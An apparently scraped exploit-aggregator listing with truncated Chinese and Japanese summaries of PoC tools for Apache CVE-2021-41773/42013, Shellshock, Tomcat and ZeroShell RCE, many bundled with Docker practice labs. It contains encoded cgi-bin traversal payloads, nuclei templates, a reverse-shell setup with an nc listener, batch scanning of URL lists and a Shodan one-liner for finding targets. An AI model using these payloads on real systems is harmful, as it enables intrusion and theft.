CVE-2021-41773

CVE-2021-41773 我开发了 CVE-2021-41773 的 POC，包含 RCE + cgi-bin 路径遍历 注意： 已在 APACHE2 2.4.49 上测试 您可以直接从 Docker 拉取存在漏洞的 Apache2 2.4.49 root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80 路径遍历 RCE 要求...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE 用のPython3スクリプトです。RCEにはcgi-binが有効である必要があります。 はじめに プログラムの実行 LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: python3 apache2.4.50.py -t http://apache.hack/...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上のApache Tomcatでのリモートコード実行 cgi-bin 使用方法： root@kitploit: Usage: python CVE-2019-0232.py url cmd テスト環境： root@kitploit: jdk8 apache-tomcat-8.5.39...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，用于检测 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。提供了一个存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码（但不能执行路径遍历），因此为了检查路径遍历漏洞，已在 httpd.conf 的 Alias 部分添加了 "icons" 目录。 httpd.conf 中的漏洞配置 root@kitploit: 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 および cve-2021-42013 cve-2021-41773 と cve-2021-42013 のバッチ検証用Pythonスクリプト 実行環境：python3 使い方：python3 poc.py url.txt url.txt に検証対象のURLを記述し、脆弱性が存在するURLは success.txt に書き込まれます。 検証内容はシンプルで、GETリクエストで cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd を送信します。しかし、requests...

CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 root@kitploit: nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

exploitApache

exploitApache CVE-2021-41773:Path Traversal cgi-bin 用のエクスプロイト...

cgi-bin-shellshock

使い方 リポジトリをクローンする（または好きな方をコピー＆ペースト） root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh スクリプトを実行する Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp 注：デフォルトのLPORTは4444、URLが必要です。URLのみ指定された場合はRCE、lhostとlportが指定された場合はRSHELLを実行します...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 の POC ソース:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 の PoC とラボ ラボのセットアップ root@kitploit: $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC root@kitploit: RCE curl...

CVE-2021-41773

CVE-2021-41773 脆弱なサービス インストール いくつかのオプションがあります: 1. Docker コンテナ root@kitploit: docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile root@kitploit: git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd CVE-2021-41773-Vulnerable-service/2.4.49 docker build -t...

apache-cve-2021-41773-lab

Apache 2.4.49 パストラバーサルラボ — CVE-2021-41773 クローン root@kitploit: git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh 使い方 脆弱なサーバーを起動: root@kitploit: ./apachelab.sh choose option 1 手動エクスプロイト: root@kitploit: curl --path-as-is...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.pyは、Apache 2.4.50におけるパストラバーサルまたはリモートコード実行の脆弱性の発見に役立つPythonスクリプトです。CVE-2021-42013を実践的に学ぶために、Dockerの脆弱性インスタンスが提供されています。 CGI-BINが有効な場合、リモートコード実行は可能ですがパストラバーサルはできません。そのため、パストラバーサルの脆弱性を確認するために、httpd.confのAliasセクションに"icons"ディレクトリが追加されています。...

cve-2021-41773

Apache 2.4.49 - パストラバーサルまたはリモートコード実行 cve-2021-41773.py は、Apache 2.4.49 におけるパストラバーサルまたはリモートコード実行の脆弱性を発見するための Python スクリプトです。CVE-2021-41773 を実際に試すための脆弱な Docker インスタンスも提供されています。 CGI-BIN が有効な場合、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.py は、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を見つけるための Python スクリプトです。CVE-2021-42013 の実践的な学習のために、脆弱な Docker インスタンスが提供されています。 CGI-BIN が有効な場合、リモートコード実行は可能ですが、パストラバーサルは不可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons"...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Apache HTTPサーバのパストラバーサルゼロデイ脆弱性が悪用される Apache HTTP Server CVE-2021-41773 が実際に悪用される CVE-2021-42013: Apache HTTP Server 2.4.49および2.4.50におけるパストラバーサルとリモートコード実行（CVE-2021-41773の不完全な修正） Shodan ワンライナー root@kitploit: shodan search Apache Server 2.4.49 | awk 'print $1":"$2' |...

CVE-2021-41773

CVE-2021-41773 漏洞利用 PoC 与 Docker 设置。 进入包含 Apache 配置和 Dockerfile 的目录（仓库中已共享）。 构建镜像： docker build -t cve-2021-41773:1.0 . 运行 Docker 镜像： docker run --rm -d -p 4444:80 cve-2021-41773:1.0 （注意：你也可以使用镜像 ID 代替镜像名称，通过命令 'docker images' 查找镜像详情） 测试服务： curl localhost:4444 利用服务： curl...

cve-2021-42013.get

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 cve-2021-42013.pyは、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を検出するためのPythonスクリプトです。CVE-2021-42013 を実際に試すための脆弱なDockerインスタンスも提供されています。 CGI-BINが有効な場合、リモートコード実行は可能ですがパストラバーサルは実行できません。そのため、パストラバーサルの脆弱性を確認するために、httpd.confのAliasセクションに"icons"ディレクトリを追加しています。 httpd.conf...